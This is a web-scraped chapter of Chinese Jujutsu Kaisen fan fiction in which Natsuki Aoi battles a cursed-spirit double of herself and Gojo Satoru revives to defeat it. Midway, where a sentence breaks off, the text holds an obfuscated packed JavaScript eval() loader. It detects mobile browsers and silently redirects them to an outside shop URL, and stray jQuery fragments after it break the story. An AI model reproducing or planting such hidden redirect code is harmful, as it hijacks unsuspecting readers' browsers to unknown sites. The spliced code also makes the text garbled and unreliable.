“到此为止了,最、强。”
微光直冲五条悟而去,甚至吞噬他外溢的咒力而变得更加强大。
就在那点微光即将在五条悟身上炸开、将其彻底吞噬一切的瞬间——
五条悟身前的空间一阵扭曲,夏木葵的身影如同冲破水面的溺水者,猛地从虚无中跌出。
她的眼睛映着越来越近的白光,瞳孔猛缩。千钧一发之际,她十指张开,像曾经推开“苍”一样将光点极慢地推向一旁。
归元式擦着两人的衣角,轰在了后方的空地上。
“葵?”小女孩脸上露出一丝错愕。
夏木葵没有理会它。她所有的注意力,都集中在身后那个倚着断墙、气息微弱到几乎难以察觉的人身上,脸上所有的表情都消失了。
五条悟。永远最强的五条悟。不管平常怎样笑嘻嘻地捉弄人,关键时刻永远让人安心的五条悟,正盍着眼睛,嘴里吐出的血染红了整件衣服,失去知觉,沉沉地靠在半截断墙上。
“他要死了。”
小女孩的声音平静地传来:“他的五脏六腑被重创,没有咒力强化□□,你的反转术式又无法医治他人。他很快就会死。”
“本来还可以在梦魇中活着,可惜,他什么都不怕,那就只好去死了。”
夏木葵的声音又轻又冷:“是吗。”
她胡乱擦了一把脸,转向那个曾经亲密无间的身影,咧开嘴笑了。
“用我的术式,我的咒力,我的灵魂……”
“……来杀我的家人?!”
“领域展开——”
纯白,再次涌现。领域如同决堤的洪水,以夏木葵为原点,无限制地向四周疯狂蔓延。
“——无妄转轮天!”
不再是之前那种毫无抵抗之力的雏形,领域之内,一股与咒灵领域如出一辙的吸力骤然产生,牢牢地锁定了领域内另一个存在。
咒灵的身体猛地一颤。它感觉到,自己体内源自夏木葵的咒力流转的速度骤然减缓,紧接着,开始逆流、抽离!
“把我的咒力——”
夏木葵站在纯白的中心,双眼死死盯着对面的“自己”,每一个字都像是从牙缝里挤出来。
“——还回来!”
“领域展开——”
完全相同的两个领域又一次对撞,领域的交界之处,是一条扭曲而丑陋的黑线。夏木葵咬着牙,把咒力夺走的咒力一点点抽回。
然而,对面的小女孩突然闭上了眼睛。
不再是她竭尽全力地抽走咒灵的咒力,而是咒灵将咒力主动地灌入她体内!
再这样下去……会被强迫着自爆。
黑线围成的半圆眨眼间缩至针尖大小,夏木葵的领域被彻底覆盖。
两人从崩溃的领域跌落出来,重新回到一片狼藉的校园。
咒灵看起来也并不轻松,身上流转的咒力黯淡了许多,但它依旧站着。而夏木葵已经单膝跪地,勉强用一只手支撑着身体,才没有彻底倒下。
“没用的,葵。”
小女孩的声音再次响起。她慢慢走向夏木葵,身上的伤早已在反转术式下恢复。
咒灵缓缓抬起右手,掌心向上,那点诡异的白色微光,再次开始凝聚,比之前任何一次都要凝实,都要耀眼。
“你永远也无法真正击败我。”她轻声说,黑洞洞的眼睛凝视着夏木葵,里面翻涌着令人窒息的情绪。
“因为我生来,就是为了陪伴你。我就是你的一部分,是你无法割舍的恐惧,是你灵魂的影子。”
那点微光在它掌心越来越大,光芒照亮了它没什么表情的脸,也照亮了夏木葵惨白如纸的面容。
“葵,”她问,声音里带上了一丝孩童般的天真与困惑,“如果我杀死你的□□,你的灵魂……会不会就获得自由,然后,永远和我在一起了?”
夏木葵手脚冰凉地跪在原地,大脑因为术式熔断的反噬和极度的疲惫而一片混乱。不知怎么的,水原真绪嘲讽着说出的那句话不合时宜地浮现在她的脑海里。
“……恐惧变成现实。这里,是每个人的噩梦。”
噩梦……
她一直知道。
夏油老师和五条老师以为她不知道,或者,他们小心翼翼地不想让她了解这些。
但她一直都知道。
咒归元,这个术式,本就不该存在于人类身上。聚拢诅咒,催化强大咒灵的诞生,以维持某种扭曲而血腥的平衡——这就是这个术式被赋予的意义。
一个被诅咒的宿命。
历史上,没有一个拥有“咒归元”的咒术师能活过幼年。他们无一例外,都被术式聚拢的日益强大的诅咒反噬,失去灵魂,或者变成咒灵的傀儡。
如果当年……没有遇到杰和悟,没有被他们从那个地方带出来……
归元式汇聚的一点白光在咒灵掌心已经膨胀到拳头大小,散发出令人心悸的威力。小女孩缓缓抬起手,对准了几乎无法动弹的夏木葵。
死亡的气息,如此清晰,如影随形。
不。
夏木葵的指尖深深掐进掌心,疼痛让她混沌的意识有了瞬间的清明。
不。
她不要在这里止步。
只要再来一次……再有一次机会……
她绝对可以反过来打破咒灵的领域!
一个近乎疯狂的念头,如同闪电般劈开她混乱的思绪。
“……唔,‘术式熔断之后如何快速恢复’,葵为什么突然问这个问题?”
靠在椅背上吃着草莓芭菲的五条老师舔了舔勺子,似乎觉得这个问题很有趣。
小夏木葵昂起头:“我以后绝对会有领域的,所以当然要考虑这个问题!”
五条老师没有嘲笑她,反而放下了勺子,很认真地回答:“术式熔断啊……那是为了防止术式回路过载而进行的强制冷却。一般来说只能等它自然恢复啦。”
他晃了晃手指,“不过呢,理论上来说,确实存在一种可以缩短这个冷却期的方法哦。”
“什么方法?”
五条悟放下勺子,身体微微前倾,脸上带着一种像是在开玩笑却又无比认真的表情,一字一句地说:
“破坏你的大脑。”
夏木葵瞪大了眼睛。
“准确说,是破坏掉你大脑中刻印着‘生得术式’回路的那一部分。”五条悟用手指点了点自己的脑袋,
“然后,立刻用反转术式将其修复。唔……你可以理解成,把一台因为过热正在强制冷却的机器,最核心的发热部件砸坏,然后用新技术瞬间做一个全新的装回去。这样,理论上术式熔断期就在被修复的同时结束了。”
他看着夏木葵呆呆的样子,笑嘻嘻地补充:“不过嘛,这种方法目前只是理论哦。毕竟,能精准破坏那一小块大脑又不造成其他损伤,还能立刻用反转术式完美修复的人,可不多见。而且,我也没试过,毕竟——没什么人能打破老师的领域让我进入熔断期嘛!”
破坏掉刻有生得术式的大脑……再用反转术式,重新修复。
夏木葵的呼吸骤然急促起来。
她必须——试一试!
……
啪嗒。
鲜血从夏木葵的口鼻涌出,滴在她的胸口。
……大脑、像是被浸湿在棉花里……浑身都好轻,好轻……
啊,她现在,失去术式了。
反转术式全力运转,夏木葵无比清晰地感觉自己缺失的那一块大脑正在恢复。
然而,然而……
那点微光已然逼近。
夏木葵死死盯住小女孩的眼睛,准备硬挨过这一击。千钧一发之际,她居然格外的冷静。
一个理性到冷酷的判断支撑着她的决定:对方使用的,是她自己的咒力,造成的伤害会被大幅削弱。只要还有一口气在,她就有机会在承受这一击后,强行结束术式熔断期。
一旦术式熔断期结束……夏木葵的眼中燃起冰冷的火焰。她自己的生得领域,被这源于自身的复制品以更完善的姿态运用出来,一次次将她压制。
如果亲身经历了这么多次对抗,感受了这么多次规则的碰撞,还无法从中领悟、无法学会如何真正掌控并打破它……
那她也未免太没用了。
夏木葵的瞳孔中,倒映着那扑面而来的纯净的白色光芒,也倒映着光芒后方,咒灵那双黑洞洞、一眨不眨望着她的眼睛。
那双眼睛……和她小时候,在昏暗的镜子里看到的,那么像。
为什么?
为什么在最后关头,看到这双和自己无比相似,却毫无光彩的眼睛时……
眼泪,还是会不受控制地涌出来呢?
“葵。”
咒灵的声音在她耳边响起。那声音很轻,甚至带着一点奇异的柔和。
“我们……永远在一起。”
白光吞没了夏木葵的身影。
……
“术式反转——「赫」。”
一点红光突兀地出现在夏木葵和小女孩之间。它出现的瞬间,一股与“苍”的无限吸引截然相反的恐怖的斥力,以那红点为中心,轰然爆发!
嗡——!!!
没有震耳欲聋的爆炸,只有一种沉闷到让人心脏停跳的怪异轰鸣。
夏木葵和近在咫尺的咒灵,被这股突如其来狂暴斥力狠狠推向相反的方向,
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17552123|202086||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
她向后跌去,却落入一个坚实的怀抱。
而咒灵则被斥力狠狠撞飞,白色光炮的轨迹被彻底打乱,斜斜地轰向远处的夜空。
夏木葵猛地回头。
五条悟不知何时站了起来。
他的双脚甚至微微离地,悬浮在离地面几厘米的空中。银白的发丝无风自动,在他额前轻轻飘拂。他脸上、衣襟上还沾染着大片大片的血迹,脸色是失血过多的苍白,但那双苍蓝色的眼睛——此刻却亮得惊人,甚至染上了一丝疯狂。
他缓缓抬起手,用拇指指腹随意地擦去嘴角再次溢出的血痕。
五条悟抬起头,目光越过夏木葵的肩头,锁定远处刚刚稳住身形,似乎有些茫然的咒灵,笑容扩大,露出了雪白的牙齿。
“葵,我现在感觉——太棒了。”
夏木葵的反转术式即将修复完毕,但还是感觉脑子里在烧。自己捅穿自己脑子的家伙并没有比版本更新成功的五条悟冷静多少。她站稳了身体,冲五条悟弯了弯嘴角。
“我就知道,像你这种命硬的家伙,怎么甘心在这里默默无闻地死掉。”
“哎呀呀,”五条悟歪了歪头,“看似在夸我,实际上是在趁机骂我吧,葵?”
他撩了一把头发,居高临下地俯视着咒灵小小的身影。
小女孩终于站稳,它仰起头,看着悬浮在半空、气势与之前截然不同的五条悟,那张没什么表情的脸上第一次露出了类似困惑的神态。
它似乎无法理解,为什么一个刚刚还被它重创、濒临死亡的人类,此刻不仅站了起来,还散发着一种让它感到隐隐威胁的气息。
五条悟的目光冰冷地落在它身上。
“为了守护而生的式神,现在却反过来,要弑主吗?”
小女孩没有回答。它只是一眨也不眨地看着夏木葵。
“那就——去死吧。”
“虚式——茈!”
紫色的咒力球如同一个缓慢旋转的小型黑洞,无声无息地划过夜空。强光瞬间将黑夜照成紫色的世界,毁灭性的力量席卷了整片废墟。
轰——————————————————!!!
那里,出现了一个直径超过五十米的巨坑。
而在巨坑的边缘,焦黑扭曲的土地上——
一个小小的、白色的身影,趴在那里。
是那个小女孩。
它只剩下上半身。胸口以下的部分已经消失不见,断口处血红一片。它残存的上半身也布满了可怖的裂痕,白色的裙子破烂不堪。
它用仅剩的一只手臂一点点地向着夏木葵所在的方向爬行,在焦黑的地面上,拖出一道长长的、暗红色的痕迹。
咒灵爬得很慢,每移动一寸,身上的裂痕似乎就扩大一分。
终于,它似乎用尽了最后一丝力气,停了下来,仰起脸,看向不远处的夏木葵。
黏稠的黑红色液体,从它口中大股大股地涌出,顺着下巴滴落。
小女孩死死地盯着夏木葵的脸,缓缓露出一个微笑。
“……杀不死我的……你,杀不死我的……”
“……我已经死过一次了。只要葵还在,我,就,还会,回来,看她……找到她……一起……一起……”
夏木葵沉默着,向她伸出手。咒力如潮水般向小女孩涌去,带来的却不再是伤害。
“无法治愈人类的咒力,在我这里,却能治愈咒灵啊。”
她叹了口气。近乎无限的咒力总量几乎是肉眼可见地消减,被她一点点地将小女孩残破的身躯织补完全。
不知过了多久,小女孩几乎恢复如初,脸上的血迹消失了,身上变成碎布的白裙也重新变得干净整洁。
“没有之后了。”
夏木葵看向小女孩的眼睛。
它是她求助无门、最绝望的时候给自己争的一条活路。
“是我孕育了你。是我聚集的诅咒,给了你生命,把我的灵魂分给你。”
她缓缓抬起手,坚定地交扣十指。
“但是……我能创生。”
“也可赋死。”
“领域展开——”
一片纯净柔和的白色,以夏木葵为中心,如同水波般温柔地荡漾开来。
“——无妄转轮天。”
纯白的光,如同最纯净的月光。
领域温柔地展开,像是母亲的手慢慢包裹住小女孩。她像是感受到了什么一样,闭上了眼睛,脸上僵硬的笑容也变成了一个孩子所能露出的真切的笑意。
夜风吹过,卷起焦土上的尘埃。
一片寂静。
她所孕育的第一只特级咒灵。
此刻,就此祓除。